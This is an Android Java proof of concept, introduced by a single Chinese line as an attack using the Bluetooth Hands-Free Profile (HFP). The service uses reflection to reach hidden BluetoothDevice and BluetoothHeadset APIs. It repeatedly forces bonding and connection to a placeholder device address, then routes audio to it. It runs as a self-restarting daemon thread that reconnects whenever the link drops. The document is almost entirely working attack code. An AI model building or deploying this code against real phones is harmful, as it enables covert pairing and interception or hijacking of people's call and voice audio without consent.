使用HFP进行攻击的PoC如下:
public class HfpService extends Service {
private static final String TAG = "HfpService";
private static final String BT_ADDR = "XX:XX:XX:XX:XX:XX";
private BluetoothAdapter mBtAdapter;
private BluetoothHeadset mBtHandset;
@Nullable
@Override
public IBinder onBind(Intent intent) {
throw new UnsupportedOperationException("onBind unsupported");
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
mBtAdapter = BluetoothAdapter.getDefaultAdapter();
if (mBtAdapter == null) {
return super.onStartCommand(intent, flags, startId);
}
mBtAdapter.getProfileProxy(this, new ServiceListener(), BluetoothProfile.HEADSET);
final BluetoothDevice btDevice = getBtDevice(BT_ADDR);
Thread connectThread = new Thread(new Runnable() {
@Override
public void run() {
do {
if (btDevice.getBondState() != BluetoothDevice.BOND_BONDING) {
Log.d(TAG, "connectThread, try to create bond");
btDevice.createBond();
} else {
Log.d(TAG, "connectThread, during bonding, skipped");
}
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
Log.e(TAG, "connectThread, connect interrupted");
}
} while (btDevice.getBondState() != BluetoothDevice.BOND_BONDED);
Log.i(TAG, "connectThread, create bond OK");
do {
if (mBtHandset.getConnectionState(btDevice) != BluetoothProfile.STATE_CONNECTING) {
Log.d(TAG, "connectThread, try to connect");
connect(btDevice);
} else {
Log.d(TAG, "connectThread, during connecting, skipped");
}
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
Log.e(TAG, "connectThread, connect interrupted");
}
} while(mBtHandset.getConnectionState(btDevice) != BluetoothProfile.STATE_CONNECTED);
Log.i(TAG, "connectThread, connect OK");
connectAudio();
do {
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
Log.e(TAG, "connectThread, getConnectedDevices interrupted");
}
} while(mBtHandset.getConnectionState(btDevice) == BluetoothProfile.STATE_CONNECTED);
Thread connectThread = new Thread(this);
connectThread.setDaemon(true);
Log.d(TAG, "connectThread, lost connection, restart thread itself");
connectThread.start();
}
});
connectThread.setDaemon(true);
connectThread.start();
return super.onStartCommand(intent, flags, startId);
}
public BluetoothDevice getBtDevice(String btAddress) {
try {
Constructor<BluetoothDevice> constructor = BluetoothDevice.class.getDeclaredConstructor(String.class);
constructor.setAccessible(true);
return constructor.newInstance(btAddress);
} catch(NoSuchMethodException | IllegalAccessException | InstantiationException | InvocationTargetException e) {
Log.e(TAG, "NoSuchMethodException | IllegalAccessException | InstantiationException | InvocationTargetException");
e.printStackTrace();
}
return null;
}
public boolean connect(BluetoothDevice btDevice) {
if (mBtHandset == null || btDevice == null) {
return false;
}
try {
Method method = Class.forName("android.bluetooth.BluetoothHeadset")
.getDeclaredMethod("connect", BluetoothDevice.class);
return (Boolean) method.invoke(mBtHandset, btDevice);
} catch (ClassNotFoundException | NoSuchMethodException e) {
Log.e(TAG, "connect, ClassNotFoundException | NoSuchMethodException");
e.printStackTrace();
} catch (IllegalAccessException | InvocationTargetException e) {
Log.e(TAG, "connect, IllegalAccessException | InvocationTargetException");
e.printStackTrace();
}
return false;
}
public boolean connectAudio() {
if (mBtHandset == null) {
return false;
}
try {
Method method = Class.forName("android.bluetooth.BluetoothHeadset")
.getDeclaredMethod("connectAudio");
return (Boolean) method.invoke(mBtHandset);
} catch (ClassNotFoundException | NoSuchMethodException e) {
Log.e(TAG, "connectAudio, ClassNotFoundException | NoSuchMethodException");
e.printStackTrace();
} catch (IllegalAccessException | InvocationTargetException e) {
Log.e(TAG, "connectAudio, IllegalAccessException | InvocationTargetException");
e.printStackTrace();
}
return false;
}
class ServiceListener implements BluetoothProfile.ServiceListener {
@Override
public void onServiceConnected(int profile, BluetoothProfile proxy) {
Log.i(TAG, "onServiceConnected, profile="+profile);
if (profile == BluetoothProfile.HEADSET) {
mBtHandset = (BluetoothHeadset) proxy;
}
}
@Override
public void onServiceDisconnected(int profile) {
Log.i(TAG, "onServiceDisconnected, profile="+profile);
}
}
}